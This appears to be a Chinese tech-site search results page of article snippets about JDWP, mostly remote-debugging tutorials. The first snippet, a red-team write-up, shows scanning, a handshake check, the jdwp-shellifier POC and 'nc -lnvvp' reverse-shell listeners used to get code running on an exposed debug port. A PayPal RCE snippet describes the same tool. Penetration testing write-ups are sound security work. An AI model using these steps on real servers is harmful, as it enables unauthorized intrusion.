首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏谢公子学安全

    某大厂红队评估_之_JDWP打点

    某大厂红队评估_之_JDWP打点 打点发现 nmap扫描某ip的C段,用时大概19h,对识别到的指纹信息依次查看,查看到如下信息 5005/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_191 |_jdwp-info: ERROR: Script execution failed (use -d to debug) 打点发现 之前复现过JDWP的漏洞,故有此文 简单验证 telnet 106.53.xx.xx 5005 返回JDWP-Handshake,即表示存在漏洞 我这边没有返回JDWP-Handshake,不管它,继续尝试利用 dnslog测试 1、先打个dnslog试试水 POC下载地址:https://github.com/IOActive/jdwp-shellifier 监听,需要加个选项n,否则会报错 nc -lnvvp 3333 nc -lnvvp 4444 尝试反弹shell 利用POC执行下载shell、对文件赋予可执行权限、执行shell python2 jdwp-shellifier.py

    1.3K10编辑于 2022-01-20
  • 来自专栏程序员的时光

    线上Bug无法复现怎么办?老司机教你一招,SpringBoot远程调试不用愁!

    其中实现调试功能的主要协议是JDWP协议,在 Java SE 5 以前版本,JVM 端的实现接口是 JVMPI(Java Virtual Machine Profiler Interface),而在 Java 而 Java SE 5 及之后版本,使用调试功能的命令为: java -agentlib:jdwp=... 调试命令 现在开发中最常见的一条远程调试的的命令如下: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9091 timeout 该参数限定为java -agentlib:jdwp=…可用,单位为毫秒ms。 -agentlib:jdwp=transport=dt_shmem,server=y,suspend=n:选择可用的共享内存连接地址并使用 stdout 打印,程序启动不阻塞。

    1.5K20发布于 2020-07-14
  • 来自专栏左手java右手go

    玩转Elasticsearch源码-使用Intellij IDEA和remote debug调试源代码

    像上面的远程调试我们用的就是 -agentlib:jdwp=… 来引入 jdwp 这个 Agent 的。 jdwp 是一个 JVM 特定的 JDWP(Java Debug Wire Protocol) 可选实现,用来定义调试者与运行JVM之间的通讯,它的是通过 JVM 本地库的 jdwp.so 或者 jdwp.dll 简单来说, jdwp agent 会建立运行应用的 JVM 和调试者(本地或者远程)之间的桥梁。既然他是一个Agent Library, 它就有能力拦截运行的代码。

    1.5K20发布于 2019-08-20
  • 来自专栏全栈程序员必看

    DWP Transport dt_socket failed to initialize, TRANSPORT_INIT(510)异常启动tomcat的web程序时会先弹出javaw.exe「建议收藏

    JDWP   JDWP 协议介绍   协议分析   Packet 的结构   JDWP 传输接口(Java Debug Wire Protocol Transport Interface)   JDWP 的命令实现机制   JDWP 的事件处理机制   JPDA(Java Platform Debugger Architecture) 是 Java 平台调试体系结构的缩写,通过 JPDA 提供的 API JPDA 主要由三个部分组成:Java 虚拟机工具接口(JVMTI),Java 调试线协议(JDWP),以及 Java 调试接口(JDI)   其中常用的开发平台Eclipse中自带了JDWP兼容的调试器 ,命令行中常见的有jdb等 问题原因: 该故障是JVM远程debug存在的缺陷,只有在开启远程debug端口时才会出现;原因是由于接收到不符合JDWP协议的数据包,导致JVM崩溃。 要确认系统中是否存在该漏洞,可以检查java启动参数中是否有如下相关配置: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8787

    69210编辑于 2022-08-05
  • 来自专栏终码一生

    Debug 实现原理!看完还不懂吗?

    JDWP 观察过Java debug进程的同学也许有印象,以debug方式启动的JVM进程,看起来是这样的: -agentlib:jdwp=transport=dt_socket,address=127.0.0.1 :63971,server=y,suspend=n 除了进程名之外,还在启动参数里包含agentlib:jdwp这些。 这个就是现在要介绍的JDWP。 什么是JDWP? Java Debug Wire Protocol,是debugger和它要debug的JVM之间进行通讯的协议。 注意,这仅仅是一个协议的格式,具体的传输实现不是由JDWP来实现的。 我们的debugger执行的操作发送到JDWP的实现上,然后再转给JVMTI来具体控制。

    83520编辑于 2022-04-15
  • 来自专栏码农小胖哥的码农生涯

    图文并茂教你学会使用 IntelliJ IDEA 进行远程调试

    3.2 JDWP 协议 这里有一个小小的知识点就是 参数中的 jdwp 。那么什么是 jdwp? JDWP 是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和目标虚拟机(target vm)之间的通信协议。 Target vm 中运行着我们要调试的 Java 程序,它与一般运行的 JVM 没有什么区别,只是在启动时加载了 JDWP Agent 从而具备了调试功能。 Debugger 和 target vm 分别在各自的进程中运行,他们之间通过 JDWP 通信协议进行通信。 3.3 开启远程调试 ? 调试完毕远程的 JDWP Agent 应该被禁用,也就是将远端的相关参数去掉。另外在调试中远端的日志并不会映射到本地,当然你可以借助一些工具将远程的日志映射到本地以提供更强大的调试功能。

    14.7K21发布于 2019-12-10
  • 来自专栏Android逆向

    系统app调试以及jdb调试

    JDWP 协议 首先让我们认识一下什么是 JDWP(Java Debug Wire Protocol),说白了就是 JVM 或者类 JVM 的虚拟机都支持一种协议,通过该协议,Debugger 端可以和目标 在调试 Android 应用程序这一场景,Debugger 一般是指你的 develop machine 的某一支持 JDWP 协议的工具例如 Android Studio 或者 JDB,而 Target 针对Android设备,可参考下面这个图, JDWP Agent 在 Android 手机上应该是指 adbd 进程。 JDWP 协议的报文格式,JDWP 协议中主要有两种报文:Command packet 和 Reply packet,command packet 就是我们上面所说的请求报文,reply 自然就是对 command 关于JDWP曾经存在过远程命令执行漏洞,有兴趣可参考https://blog.csdn.net/wanzt123/article/details/82793023。

    3.1K00发布于 2021-01-23
  • 来自专栏CodeGuide | 程序员编码指南

    基于jvmti定位java异常信息

    在调试者和被调试者之间,调试命令和调试结果,都是通过 JDWP 的通讯协议传输的。 所有的命令被封装成 JDWP 命令包,通过传输层发送给被调试者,被调试者接收到 JDWP 命令包后,解析这个命令并转化为 JVMTI 的调用,在被调试者上运行。 Java 调试线协议(JDWPJDWP(Java Debug Wire Protocol)是一个为 Java 调试而设计的一个通讯交互协议,它定义了调试器和被调试程序之间传递的信息的格式。 比如在 Sun 公司提供的实现中,它提供了一个名为 jdwp.dll(jdwp.so)的动态链接库文件,这个动态库文件实现了一个 Agent,它会负责解析前端发出的请求或者命令,并将其转化为 JVMTI 从理论上说,开发人员只需使用 JDWP 和 JVMTI 即可支持跨平台的远程调试,但是直接编写 JDWP 程序费时费力,而且效率不高。

    1.3K10发布于 2020-07-14
  • 来自专栏FreeBuf

    PayPal曝远程代码执行漏洞(含视频)

    该漏洞存在于服务器中的Java调试线协议(Java Debug Wire Protocol, JDWP),攻击者可以在未授权的情况下执行系统命令,从而获得目标服务器的控制权。 JDWP是用于调试器和被调试的 Java 虚拟机之间通信的一种协议。它是Java平台调试体系结构(Java Platform Debugger Architecture, JPDA)的第一层。 由于JDWP并不需要任何授权,这就会被黑客们利用,在Web服务器上远程执行恶意代码。 请点击最下方的“阅读原文”观看演示视频 安全研究人员提供了漏洞概念验证(POC)视频,他先使用Github上的jdwp-shellifier工具扫描网站,然后找到了开放8000端口的服务器。

    1.8K100发布于 2018-02-06
  • 来自专栏曲水流觞TechRill

    Java远程调试(Remote Debugging)的那些事

    =transport=dt_socket,address=1043,server=y,suspend=n" Windows setenv.bat set JPDA_OPTS="-agentlib:jdwp 像上面的远程调试我们用的就是 **-agentlib:jdwp=... **来引入 jdwp 这个 Agent 的。 jdwp 是一个 JVM 特定的 JDWP(Java Debug Wire Protocol) 可选实现,用来定义调试者与运行JVM之间的通讯,它的是通过 JVM 本地库的 jdwp.so 或者 jdwp.dll 简单来说, jdwp agent 会建立运行应用的 JVM 和调试者(本地或者远程)之间的桥梁。既然他是一个Agent Library, 它就有能力拦截运行的代码。 更多关于远程部署相关,以及 JDWP 的深入说明,大家有兴趣可以自己研究一下。

    9.1K20发布于 2019-11-05
  • 来自专栏暴走大数据

    Flink1.9.0源码调试介绍&增加调试超时时间

    FLINK_HOME/conf/flink-conf.yaml中增加如下参数,来增加远程调试端口,这种方式很多文章都有介绍: env.java.opts.taskmanager: "-agentlib:jdwp =transport=dt_socket,server=y,suspend=n,address=5006" env.java.opts.jobmanager: "-agentlib:jdwp=transport Session模式),通过conf配单的方式就行不通了,因为多个应用尝试占用相同的调试端口,会直接报错,需要通过-yD参数来设置 -yD env.java.opts.jobmanager=-agentlib:jdwp =transport=dt_socket,server=y,suspend=n,address=8888; env.java.opts.taskmanager=-agentlib:jdwp=transport =y,suspend=n,address=8888; env.java.opts.taskmanager=-agentlib: jdwp=transport=dt_socket,server=y,suspend

    3.1K10发布于 2019-12-05
  • 来自专栏四火的唠叨

    JVM 问题定位工具

    connect "com.sun.jdi.CommandLineLaunch:main=Hello 1 2 3" 我们可能更熟悉使用下面这样的方式来进行调试,但本质上就是在使用 JDB: -agentlib:jdwp Socket 传输:这也是我们最常用的调试方式,其中的命令定义和响应包的定义请参阅这两个文档 JDWP 规格和 JDWP 传输接口。这就是参数中 transport=dt_socket 的含义。 Sun 虚拟机实现需要指定命令行选项,以加载 JDWP(Java Debug Wire Protocol Transport)代理来 debug。 JDK 5.0 以前需要指定-Xdebug 和-Xrunjdwp 这两个参数,以后则可以使用参数-agentlib:jdwp 替代之,它们指定了 JVM 使用的连接器。 -agentlib:jdwp=transport=dt_socket,server=y,address=8000,onthrow=java.io.IOException,launch=/usr/local

    54910编辑于 2022-07-15
  • 来自专栏工具使用

    IDEA 远程调试

    jdwp是Java Debug Wire Protocol的缩写。 我们需要去启动项目的地方设置,启动项目有通过tomcat启动的,也有通过springboot内置tomcat启动的,下面分别说 springboot方式 ## 注意新参数必须在 -jar 之前 jar -agentlib:jdwp start.bat)中添加如下, [在这里插入图片描述] ## sudo vim $CATALINA_HOME/bin/catalina.sh JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp

    2.1K10发布于 2020-08-20
  • 来自专栏Java Tale

    IDEA 远程调试

    jdwp是Java Debug Wire Protocol的缩写。 firewall-cmd --permanent --remove-port=20400/tcp 远程服务中开启 Debug 服务 对于 SpringBoot命令行添加选项,并重启 java -agentlib:jdwp server=y,suspend=n,address=20400 -jar xxx.jar 对于 Tomcat 启动脚本中添加选项,并重启: JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp 下拉菜单中选择“Remote”或者“Remote JVM Debug”; 设置 Host 为远程服务器的域名或IP,设置端口 Port=20400; 复制命令行参数,形如 -agentlib:jdwp

    1.9K50编辑于 2022-06-12
  • 来自专栏全栈程序员必看

    java学习——使用Eclipse进行单元测试,报错Can’t allocate jvmti memory

    并且控制台输出报错Can’t allocate jvmti memory 具体报错信息如下: FATAL ERROR in native method: JDWP Can't allocate jvmti memory, jvmtiError=JVMTI_ERROR_INVALID_ENVIRONMENT(116) JDWP exit error JVMTI_ERROR_WRONG_PHASE(112) /src/share/back/util.c:1265] JDWP exit error JVMTI_ERROR_INVALID_ENVIRONMENT(116): Can't allocate jvmti /src/share/back/util.c:1779] ERROR: JDWP unable to dispose of JVMTI environment: JVMTI_ERROR_INVALID_ENVIRONMENT

    75310编辑于 2022-07-19
  • 来自专栏小强的进阶之路

    高效开发:IntelliJ IDEA天天用,这些Debug技巧你都知道?

    ,在 Windows 上对应一个 jdwp.dll 库文件,在 Linux 上对应 jdwp.so 文件。 那么这个 jdwp 库文件到底是做什么的呢?它后面的一串参数又是什么意思? 所有的命令被封装成 JDWP 命令包,通过传输层发送给被调试者,被调试者接收到 JDWP 命令包后,解析这个命令并转化为 JVMTI 的调用,在被调试者上运行。 不过命令行参数 -agentlib:jdwp=transport=dt_socket,address=127.0.0.1:20060,suspend=y,server=n 中的 jdwp 貌似还不止于此 事实上,这个地方上 jdwp.dll 库文件把 JDI,JDWP,JVMTI 三部分串联成了一个整体,它不仅能调用本地 JVMTI 提供的调试能力,还实现了 JDWP 通信协议来满足 JVMTI 与 JDI

    3.1K11发布于 2020-04-14
  • 来自专栏在水一方

    idea远程调试

    然而在服务器上运行时出现问题无法直接定位到具体是哪行代码出现了bug,加大问题的排查,好在在idea中可以实现远程调试,本文就这个问题进行学习 实际操作 新增远程debug 设置好Host之后点确定复制jvm参数 jvm参数为: agentlib:jdwp transport=dt_socket,server=y,suspend=n,address=5005 打包项目将得到的jar包推送到远程服务器,并启动项目,命令为: java -Xdebug -agentlib:jdwp =transport=dt_socket,server=y,suspend=n,address=5005 -jar meas.jar 启动本地的远程调试 agentlib:jdwp=transport

    1.4K20编辑于 2022-06-14
  • 来自专栏Felix的技术分享

    用Android Studio调试Framework层代码

    JPDA 主要由三个部分组成:Java 虚拟机工具接口(JVMTI),Java 调试线协议(JDWP),以及 Java 调试接口(JDI)。 调试需要堆栈、符号等信息都保存在JVM中,调试器(debugger)需要通过一种渠道获取这些信息,并通过这个渠道发送调试指令给JVM,JDWP就是调试器与JVM通信的渠道。 在JVM内部有一个专门的jdwp线程,Android系统的adbd守护进程通过socket与各个虚拟机的jdwp线程进行通信,外部调试器通过主机的adb与adbd通信进而完成与jdwp的通信。 - Java Debugger Android Debugging: Old School bringup routines - Command line Java debugging with JDWP

    5.2K51发布于 2018-06-08
  • 来自专栏在码圈

    本机IDEA远程调试远端服务器代码

    Port 为要监控的端口 Jvm 为本机监控Jvm执行和远端服务器监听开启执行(重点) 这里远端服务器地址 为 192.0.0.105 远端服务器监控端口 为 7000 Jvm内容 -agentlib:jdwp 正常的启动方式为 java -jar xxxx.jar 现在的启动方式 java -Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=

    2.8K30发布于 2020-07-22
  • 来自专栏Kirito的技术分享

    java实用小技巧(一)--远程debug

    3 准备启动脚本 java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=64057 remote-debug-1.0 在这条指令中便是加载了jdwp(Java Debug Wire Protocol)这个用于远程调试java的扩展包。 而 transport=dt_socket,server=y,suspend=n,address=64057这些便是jdwp装载时的定制参数,详细的参数作用可以搜索jdwp进行了解。

    2.3K40发布于 2018-04-27
领券